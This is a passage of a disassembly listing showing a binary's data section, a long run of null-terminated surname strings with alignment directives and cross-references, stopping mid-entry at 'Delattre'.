___:0042E0B8o aMay db 'May',0 ; DATA XREF: ___:0042E0B4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E08Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E074o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E020o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o aLa db 'La',0 ; DATA XREF: ___:0042DF40o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC64o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DB84o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co align 4 aDelattre db 